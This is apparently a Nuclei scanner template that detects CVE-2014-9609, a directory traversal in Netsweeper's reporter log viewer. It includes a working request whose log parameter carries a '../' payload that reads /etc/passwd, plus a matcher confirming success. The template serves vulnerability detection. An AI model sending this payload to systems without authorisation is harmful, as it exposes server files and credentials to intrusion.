id: CVE-2014-9609

info:
  name: Netsweeper 4.0.8 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in webadmin/reporter/view_server_log.php in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to list directory contents via a .. (dot dot) in the log parameter in a stats action.
  impact: |
    An attacker can read, modify, or delete arbitrary files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Upgrade to a patched version of Netsweeper or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9609
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2014-9609
    cwe-id: CWE-22
    epss-score: 0.31204
    epss-percentile: 0.96835
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,lfi,packetstorm,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022061cc25e668c6fc350cee2456f9622f9c9a99e613e8e15e031c992c4f55254c0b022100e932d35949f75c1755cdd5e4f59c8f53d1266d7ea8d3e16f2072676995ab250a:922c64590222798bb761d5b6d8e72950